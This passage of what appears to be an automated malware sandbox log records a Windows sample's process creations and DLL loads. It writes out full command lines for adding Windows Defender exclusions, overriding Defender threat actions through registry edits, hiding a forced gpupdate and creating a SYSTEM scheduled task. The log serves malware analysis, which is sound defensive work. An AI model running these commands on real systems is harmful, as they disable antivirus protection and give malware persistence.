Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k WerSvcGroup
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8028 -ip 8028
Source: C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8028 -s 356
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath $env:UserProfile	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe "C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe" /s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe "C:\Users\user\Pictures\PZ3hKWPffUrXuh6Gjn77Ivv1.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe "C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe "C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe "C:\Users\user\Pictures\E6ijlcXzCqRG7r61JO0b9evs.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\Pictures\xJOdjN6fVDYC0Ta4cXD9JBiF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\iYU7jmLL0jPLxgjctxjq1ReZ.exe	Process created: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe .\Install.exe /odidum "385118" /S
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\Pictures\c12YwoiQ34lE0LgBRkxJOClX.exe	Process created: unknown unknown
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\forfiles.exe "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m where.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True"
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: C:\Windows\SysWOW64\schtasks.exe schtasks /CREATE /TN "bbmnnUCIPYyTQrzMQJ" /SC once /ST 05:30:00 /RU "SYSTEM" /TR "\"C:\Users\user~1\AppData\Local\Temp\7zSA05C.tmp\Install.exe\" it /fMDdidlBgf 385118 /S" /V1 /F
Source: C:\Users\user\AppData\Local\Temp\7zSA05C.tmp\Install.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\forfiles.exe forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\SysWOW64\wbem\WMIC.exe "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Add ExclusionExtension=exe Force=True
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\explorer.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -pss -s 476 -p 8028 -ip 8028
Source: C:\Windows\System32\svchost.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 8028 -s 356
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\System32\svchost.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\WerFault.exe	Process created: unknown unknown
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\reg.exe reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
Source: C:\Windows\SysWOW64\forfiles.exe	Process created: C:\Windows\SysWOW64\cmd.exe /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell start-process -WindowStyle Hidden gpupdate.exe /force
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: unknown unknown

Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: icu.dll	Jump to behavior
Source: C:\Users\user\Desktop\lgX7lgUL1w.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wintypes.dll	Jump to behavior
